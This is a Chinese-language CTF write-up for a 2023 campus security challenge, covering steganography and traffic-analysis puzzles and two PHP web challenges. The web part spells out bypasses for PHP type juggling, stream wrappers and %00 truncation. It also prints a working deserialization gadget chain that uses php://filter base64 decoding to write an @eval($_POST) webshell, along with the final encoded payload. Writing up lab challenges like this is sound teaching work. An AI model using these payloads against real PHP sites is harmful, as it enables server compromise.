首页 > 其他分享 >WP光电信息学院2023年网络安全季度挑战赛

WP光电信息学院2023年网络安全季度挑战赛

时间:2023-11-11 11:33:27浏览次数:30  
标签:php fileput WP filename flag 2023 挑战赛 txt id

签个到就跑WP

Misc

MISC-没爱了,下一个

下载附件压缩包解压之后,获得一个流量包文件
image.png
使用wireShark打开流量包,Ctrl + F 搜索flag{即可获得flag
image.png

flag{Good_b0y_W3ll_Done}

MISC-送你一朵小花花

下载附件压缩包解压之后,获得一个JPG图片文件
image.png
用010打开查看,在文件尾部发现Unicode编码
image.png
使用随便一个在线解Unicode编码的网站解密https://c.runoob.com/front-end/3602/
即可获得flag
image.png

key{you are right}

MISC-镜子里面的世界

考察LSB隐写
image.png
image.png
image.png
image.png

flag{st3g0_saurus_wr3cks}

Web

WEB_workhard

参考博客:

打开后什么也没有,查看源代码,发现一个txt,访问后发现php代码。典型的代码审计,考查了几个函数

  1. -eregi
eregi — 不区分大小写的正则表达式匹配
int eregi( string $pattern, string $string[, array &$regs] )

本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。 
Example #1 eregi() 例子
<?php
$string = 'XYZ';
   if (eregi('z', $string)) {
    echo "'$string' contains a 'z' or 'Z'!";
}
?> 

2.strlen()计算字符长度。
3.file_get_contents(),将文本以字符串的形式输出。
4.stripos — 查找字符串首次出现的位置(不区分大小写)

if(!$_GET['id'])//id不能为零
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能有点
{
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');//a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 /*b要长度大于5*/and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4/*第一个数字不能为4*/)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}

所以题的大致意思就是,传递三个参数,id不能为零,但是要等于零,a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话,b要长度大于5,第一个数字不能为4。

  • id这个绕过需要用弱类型来解决 id=‘a’
  • a这个绕过需要用到php伪协议,a=php://input或者 a=data:,1112 is a nice lab!
  • b这个绕过需要用到%00截断,当eregi这个函数遇到%00时,就不会再继续比较了。
  • 给出payload,体会一下

然后获得flag

WEB_login_wc

注册一个admin管理员账号登录即可

WEB_simple_ser

image.png
参考:https://zhuanlan.zhihu.com/p/51628607
查考php反序列化,任意文件写入,函数绕过
1.打开题目进行源码审计,通过代码可以看出考点应为反序列化的漏洞,通过fileput函数,进行文件的写入

<?php 
class cls1{ 
    var $cls; 
    var $arr; 

    function show(){ 
        show_source(__FILE__); 
    } 

    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->cls->$v; 
        } 

    } 
} 

class cls2{ 
    var $filename = 'hello.php'; 
    var $txt = ''; 
    function __get($key){ 
        if($key == 'fileput'){ 
            return $this->fileput(); 
        }else{ 
            return '<p>'.htmlspecialchars($key).'</p>'; 
        } 
    } 

    function fileput(){ 
        if(    strpos($this->filename,'../') !== false || 
            strpos($this->filename,'\\') !== false      
        ) die(); 

        $content = '<?php die(\'stupid\'); ?>'; 
        $content .= $this->txt; 
        file_put_contents($this->filename, $content); 
        return htmlspecialchars($content); 

    } 

} 

if(!empty($_POST)){ 
    $cls = base64_decode($_POST['ser']); 
    $instance = unserialize($cls); 
}else{ 
    $a = new cls1(); 
    $a->show(); 
}

2.构造反序列化代码

<?php
class cls1{
    var $cls;
    var $arr;
    function __construct(){
        $this->cls = new cls2();
        $this->arr = array('fileput'=>'fileput');
    }
}

class cls2{
    var $filename = 'e.php';
    var $txt = '<?php phpinfo();';
}
print_r(base64_encode(serialize(new cls1())));

3.使用该代码传入post的ser参数,可以在服务器当前目录下生成e.php文件,但是应为程序会写入die()函数,所以 并没有执行我们构造的代码
4.我们可以通过使用php://filter来绕过这个限制,这里也可以使用其他方法。
利用php://filter/write=convert.base64-decode/resource=e.php就可以以base64的形式向写入e.php。这样就可以将前面的die变成无效字符,从而执行我们想执行的代码

  • 具体payload如下
<?php
class cls1{
    var $cls;
    var $arr;
    function __construct(){
        $this->cls = new cls2();
        $this->arr = array('fileput'=>'fileput');
    }
}

class cls2{
    var $filename ;
    var $txt;
    function __construct(){
        $this->filename = 'php://filter/write=convert.base64-decode/resource=e.php';
        $this->txt = '<?php @eval($_POST["1"]);';
        $this->txt = base64_encode($this->txt);
    }
}

print_r(base64_encode(serialize(new cls1())));
Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU1OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWUucGhwIjtzOjM6InR4dCI7czo0MDoiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKcFkzRnBZM0VpWFNrNyI7fXM6MzoiYXJyIjthOjE6e3M6NzoiZmlsZXB1dCI7czo3OiJmaWxlcHV0Ijt9fQ==

6.然后webshell连接工具连上,就可以在根目录看到flag了
image.png

标签:php,fileput,WP,filename,flag,2023,挑战赛,txt,id
From: https://www.cnblogs.com/Fab1an/p/17825710.html

相关文章

  • 2023-11-10-所以,最近怎么了
    总感觉,最近过得。。。有点快那种快,是无助的看着时间悄然过去那种快,是来不及的惋惜昨天的迷茫也不知道,谁又能给我一个答案,,,这一步,我该怎么走下一步,我又该怎么走妄想罢了,,,谁有会指引你前行,,只有自己吧最近看安卓的入门教程,因为很多基础不不牢所以去看了一下smali汇编,arm64汇编......
  • 2023-11-11-光棍节快乐
    今天,周六呃,,,,这么快,,,,又过去了一周起床是9:40差不多的一直在床上磨蹭,玩手机在昨天晚上,我突然思考起一个道理那就是关于丢了芝麻捡西瓜这个事情很多东西,,,学着学着就中途放那里了主要打着一个心态就是:这个不好玩,先放在这,以后再来学到最后,,就感觉什么都学了......
  • #2023-2024-1 20231308 《计算机基础与程序设计》第七周学习总结
    2023-2024-120231308《计算机基础与程序设计》第七周学习总结作业信息这个作业属于哪个课程2023-2024-1-计算机基础与程序设计这个作业要求在哪里2023-2024-1计算机基础与程序设计第七周作业这个作业的目标自学计算机科学概论第8章《C语言程序设计》第6章作......
  • 导弹拦截做题报告2023
    导弹拦截被19年薄纱了。嗯造两个小时,44pts。#include<iostream>#include<cstdio>#include<cstring>#include<algorithm>usingnamespacestd;constintN=1e5+10;inta[N],cnt=0,sum=0,ans=0;intF[N],tag[N];boolvis[N],is_first=......
  • WPF win10窗体背景模糊
    internalenumAccentState{ACCENT_DISABLED=0,ACCENT_ENABLE_GRADIENT=1,ACCENT_ENABLE_TRANSPARENTGRADIENT=2,ACCENT_ENABLE_BLURBEHIND=3,ACCENT_INVALID_STATE=4}[StructLayout(LayoutKind.......
  • Kattis - A Complex Problem (The 2023 ICPC Rocky Mountain Regional Contest)
    IntroThiswasoneoftheproblemsIdidn'tdoduringtheregionalcontest.Oneofmyteammatessolvedit.ObservationTherearefewthingstonote.Firsttypeofnotation:subsetmeansthatA$\subset$B,buttherecanbecasesthatsubsetforms......
  • 2023年11月10日总结
    更好的观看总结今天早上是练习赛,还是USACO的题目。最后一道题是白金组的,比较有难度。前三道题还是很简单的,具体可以看我的USACO作题记录1。前几次练习赛USACO的题目我就没有放在那个里面的,比较麻烦,以后就会放在那里面了,请谅解。题解也请参照那个里面的,这里就不放了。那就......
  • 每日总结20231110
    代码时间(包括上课)5h代码量(行):100行博客数量(篇):1篇相关事项:1、今天是周五,天气很冷,还下雪来着,所以不愿意出被窝,所以上午下午赖床来着。2、今天晚上进行了C#的相关练习,对C#也有了一定的理解了。3、今天晚上打算复习复习数学,明天有考试,加油,加油,加油!......
  • 春秋云镜 Flarum WP
    春秋云镜FlarumWPadministrator、1chrishttps://www.leavesongs.com/PENETRATION/flarum-rce-tour.html生成反弹shell的payloadphpphpggc-ptar-bMonolog/RCE6system"bash-c'bash-i>&/dev/tcp/114.96.104.240/66660>&1'"根据文章复......
  • 春秋云镜 2022网鼎杯半决赛 WP
    春秋云镜2022网鼎杯半决赛fscan扫描39.99.228.107:22open39.99.228.107:80open[*]aliveportslenis:2startvulscan[*]WebTitle:http://39.99.228.107code:200len:39988title:XIAORANG.LAB发现是wordpresswpscan--urlhttp://39.99.228.107/--api-t......